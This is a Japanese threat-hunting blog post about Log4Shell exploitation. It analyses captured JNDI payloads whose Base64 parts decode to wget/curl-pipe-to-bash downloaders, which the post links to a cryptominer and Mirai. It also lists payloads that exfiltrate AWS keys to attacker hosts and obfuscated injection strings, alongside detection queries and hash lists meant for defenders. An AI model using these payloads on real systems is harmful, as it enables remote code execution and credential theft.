Log4jの脆弱性「CVE-2021-44228 (Log4Shell)」に対するエクスプロイト活動の脅威ハンティング

This post is also available in: English (英語)

概要

2021年12月9日、Apache Log4jライブラリの重大なリモートコード実行(RCE)脆弱性に対するエクスプロイト活動が確認されました。CVSSの深刻度スコアで最大の10点と評価されたこの重大な脆弱性を悪用されると、影響を受けるサーバ上で遠隔から任意のコードを実行され、場合によってはシステムのコントロールを完全に奪われる可能性があります。

脆弱性の公開以降、大規模なスキャン活動が発生しています。これは脅威アクターが脆弱なシステムを検索し、パッチ適用前にエクスプロイト攻撃を実行しようと急いでいるためです。

この記事ではエクスプロイト攻撃を企てた、とある脅威アクターが用いたペイロードを詳細に分析します。さらに、Windowsインストール環境、Linuxベースのインストール環境、クラウド環境で、ネットワークがCVE-2021-44228の影響を受けている兆候かもしれない疑わしい活動を、ブルーチームが脅威ハンティングする方法をご紹介します。

なお、Log4j脆弱性のエクスプロイトの検出と阻止にCortex XDRがどう役立つかを知るには、Unit 42が公開したApache Log4jに関するブログ記事をご覧ください。

大規模なスキャン活動

この数日の間に、Cortex XDRマネージド脅威ハンティング チームは、CVE-2021-44228のエクスプロイトを試みる悪意あるリクエストの急増を世界中の組織で確認しています。

図1: この1週間で、悪意あるLog4jエクスプロイトの試みが急増

マネージド脅威ハンティング チームは少数のペイロードをピックアップしてさらなる分析を行い、脅威アクターが使用するカスタム ペイロードを評価しました。

  1. ${jndi:ldap://45.137[.]21.9:1389/Basic/Command/Base64/d2dldCAtcSAtTy0gaHR0cDovLzYyLjIxMC4xMzAuMjUwL2xoLnNofGJhc2g=}
  2. ${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgMTkyLjk5LjE1Mi4yMDB8fHdnZXQgLXEgLU8tIDIxMi40Ny4yMzcuNjc6NDQzKXxiYXNo}

ステージ1: Base64難読化

CyberChefを使用してペイロードを分析した結果、攻撃者が使用する新しいIOCが明らかになりました。すなわち、「192.99[.]152.200」、「212.47[.]237.67」、「62.210[.]130.250」です。

ステージ2: スクリプトの復元とさらなる調査

Cortex XDRマネージド脅威ハンティング チームのエキスパートがアーティファクトをダウンロードして、慎重に調査しました。

「192.99[.]152.200」と「212.47[.]237.67」からダウンロードしたアーティファクトには、次の画像に示すスクリプトが含まれていました。スクリプトの先頭の数行には、なかなか丁寧な「前置き」のメッセージも記載されています。

図2: 実に丁寧な挨拶

残念ながら、脅威アクターのサイトには第2段階のペイロードは存在しませんでした。ですが、「sysctl -w vm.nr_hugepages=128 > /dev/null 2>&1」の行はサーバの潜在的なマイニング能力を最大20%向上させるものであり、暗号資産のマイニングが目的だと推測されます。

また、「62.210[.]130.250」からダウンロードしたスクリプトは、悪名高い「Mirai」ボットネットのダウンローダでした。「Mirai」ボットネットの運用者が新しいリモート コード実行脆弱性を悪用してボットネットを拡大させることは、非常によくある活動です。

図3: 「Mirai」ボットネットのダウンローダ

クラウド環境でのLog4Shellの脅威ハンティング

Cortex XDRマネージド脅威ハンティング チームのエキスパートとCortex XDRリサーチ チームは、共同でクラウド環境におけるエクスプロイトの試みの検出と脅威ハンティングを行っています。確認されている主な活動の例を以下に示します。

  • 脆弱なクラウド ホスト上で次のコードを実行します。その結果、クラウド資格情報が漏えいする可能性があります。${jndi:ldap://host/${env:AWS_SECRET_ACCESS_KEY}.${env:AWS_ACCESS_KEY_ID}}
  • API呼び出しのエクスプロイト(API呼び出しはよくログとして記録されるため)と、攻撃者がコントロールする属性(APIやユーザーエージェントのリクエスト パラメータなど)を利用します。例:
    • クラウド ストレージ サービス(オブジェクト名を変更):
      projects/_/buckets/<BUCKET-NAME>/objects/${jndi:ldap://<ATTACKER-IP>:<PORT>/Exploit}
    • ユーザーエージェント:
      ${jndi:${lower:l}${lower:d}a${lower:p}://<ATTACKER-DNS>.bin${upper:a}.io:<PORT>/callback}

Cortex XDRの利用者は以下のクエリを使用して、クラウド監査ログに対するその他のエクスプロイトの試みを脅威ハンティングできます。

dataset = cloud_audit_logs

| alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}")

| filter raw_log_decoded ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi"

エクスプロイトの試みがあまりにも多いため、成功したエクスプロイトを探すのは容易ではありません。ですが、XDRのデータ リソースを最大限活用すれば、悪意のある接続を脅威ハンティングすることが可能です。

Cortex XDRクラウド、NDR、EDRのログを関連付けることで、エクスプロイトの試みからIOCを取得し、確立済みのアウトバウンド ネットワーク接続と照合できます。

たとえば、Cortex XDRクラウドのログで確認されたペイロードから攻撃者のIPアドレスを取得し、確立済みのアウトバウンド接続の中からこのIPアドレスを検索することが可能です。また、DNSクエリに同様の手順を実装できます。

Cortex XDRの利用者は、このクエリを使用してEDR、ファイアウォール、フロー ログの接続を調査することで、実際のサービス インスタンスまたはコンピュート インスタンスの実行を伴う場合がある、成功したエクスプロイトを脅威ハンティングできます。

dataset = cloud_audit_logs

| alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}")

| filter raw_log_decoded ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi"

| filter lowercase(operation_name_orig) not contains "jobservice" and user_agent != null

| alter ip = arrayindex(regextract(user_agent, "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"), 0)

| filter ip != null

| fields ip, user_agent, raw_log_decoded

| join (dataset = xdr_data

| filter action_remote_ip != null and (event_type = enum.STORY or event_type = enum.NETWORK)

| fields action_remote_ip, cloud_entity, agent_id

| alter cloud_instance_name = json_extract_scalar(to_json_string(cloud_entity), "$.entity_name")

| dedup action_remote_ip, agent_id, cloud_instance_name) as remote_ips

ip = remote_ips.action_remote_ip

| fields ip, user_agent, agent_id, cloud_instance_name, raw_log_decoded

ネットワーク上でのLog4Shellの脅威ハンティング

Cortex XDRマネージド脅威ハンティング チームが作成したいくつかのクエリを使用すれば、ネットワークがCVE-2021-44228脆弱性の影響を受けているかどうかをセキュリティ担当者が判断できます。

作成したクエリは次の2つのセクションに分かれます。

  1. Log4jエクスプロイトに起因するかもしれない悪意ある活動を検出する。
  2. 影響を受けた可能性があるホスト(脆弱性を抱えたライブラリを含むホスト)を検出する。

セクションA: 脆弱性を抱えたライブラリを含む可能性があるホストを検出

  1. すべてのLog4j jarのローディングの検出を試みます。なお、Log4jは無数のソフトウェアにバンドルされているため、Log4jを使用したアプリケーションをすべて特定することはほぼ不可能です。とはいえ、このクエリを使用することで、お客様の環境で使用されているLog4jパッケージの少なくとも一部を把握できると考えます。このクエリは名称に「log4j」を含むファイルとやり取りする、名称に「java」を含むプロセスをすべてリストアップするものです。

 

  1. config case_sensitive = false timeframe=30d |

dataset = xdr_data 

    | filter actor_process_image_name contains "java"

    | filter (agent_os_sub_type contains "server" or agent_os_type = ENUM.AGENT_OS_LINUX )

    | filter action_file_name contains "log4j" and action_file_extension = "jar"    

    |fields agent_hostname, agent_ip_addresses, actor_effective_username, action_file_name, action_file_path

| dedup agent_hostname

脆弱性を含むバージョンのLog4jとSHA256ハッシュが一致するファイルが含まれるホストの特定を試みます。

出典: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt

dataset = xdr_data

| fields agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path

| filter action_file_sha256 in ("bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6", "58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae", "ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4", "dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e", "a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8", "7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b", "4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47", "473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6", "b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02", "dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d", "85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c", "db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a", "ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0", "a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d", "c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d", "8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc", "c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a", "6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2", "535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6", "42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239", "4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997", "df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6", "28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e", "cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392", "5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4", "ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa", "815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e", "10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c", "dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae", "9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d", "f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d", "5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3", "d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d", "3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100", "057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3", "5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c", "c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3", "6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992", "54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b", "e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1", "68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa", "9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463", "006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85")

| dedup agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path

セクションB: Log4jエクスプロイトに起因するかもしれない悪意ある活動を検出

  1. 悪意あるユーザーエージェントには、次のように膨大な難読化が施されている可能性があります。
    1. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}
    2. ${JnD${upper:i}:lda${env:XXXX2323:-p}:/
    3. ${jndi:ldap://host/$
    4. ${jndi:${lower:l}${lower:d}a${lower:p}:

したがって、可能性があるリソースの組み合わせをすべて洗い出す正規表現を用いることにしました。

 

config case_sensitive = false timeframe=7d |

dataset = xdr_data

| filter lowercase(action_user_agent) ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR lowercase(action_user_agent) ~= "\${jndi"

| fields action_user_agent,agent_hostname, action_process_image_name, action_process_image_command_line

  1. 「普通ではない」状態を利用します。次のクエリは出現頻度の低いJavaプロセスの因果関係チェーンをリストアップするもので、アクション プロセスとそのコマンドラインの両方をカバーできます。 すなわち、Java子プロセスを対象として過去90日間の出現回数をカウントし、対象ホストでの出現回数が10回未満の場合にリストアップします。

理論上、ペイロードの種類を問わず、異常なプロセスとそのコマンドを明らかにすることが可能です。

config case_sensitive = false timeframe=90d |

dataset = xdr_data

| alter ct = current_time()

| alter diff = timestamp_diff(ct, _time, "DAY")

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

and diff < 7

| dedup action_process_image_command_line, agent_hostname, actor_process_image_name

| fields action_file_path , action_file_name,agent_hostname, actor_process_image_name, action_process_image_name

| join conflict_strategy = left type = left

(

dataset = xdr_data

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

| comp count(action_file_name) as Action_File_Days_count by actor_process_image_name

) as Three_Months_Action_Process (Three_Months_Action_Process.actor_process_image_name = actor_process_image_name)

| join conflict_strategy = left type = left

(

dataset = xdr_data

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

| comp count(action_file_path) as Path_Days_count by actor_process_image_name

) as Three_Months_CommandLine (Three_Months_CommandLine.actor_process_image_name = action_process_image_name )

| dedup agent_hostname ,actor_process_image_name , action_process_image_name

| sort asc Path_Days_count , asc Action_File_Days_count

| filter Path_Days_count < 10 and Action_File_Days_count <10

 

 

おわりに

このエクスプロイト攻撃は氷山の一角なのかもしれません。別の脅威アクターやグループが今回の脆弱性を利用して、より洗練されたマルウェアとペイロードを脆弱なサーバに展開するのは時間の問題です。

この記事で紹介したクエリがネットワーク上で予防的な脅威ハンティングを行う手助けになれば幸いです。

よい脅威ハンティングを。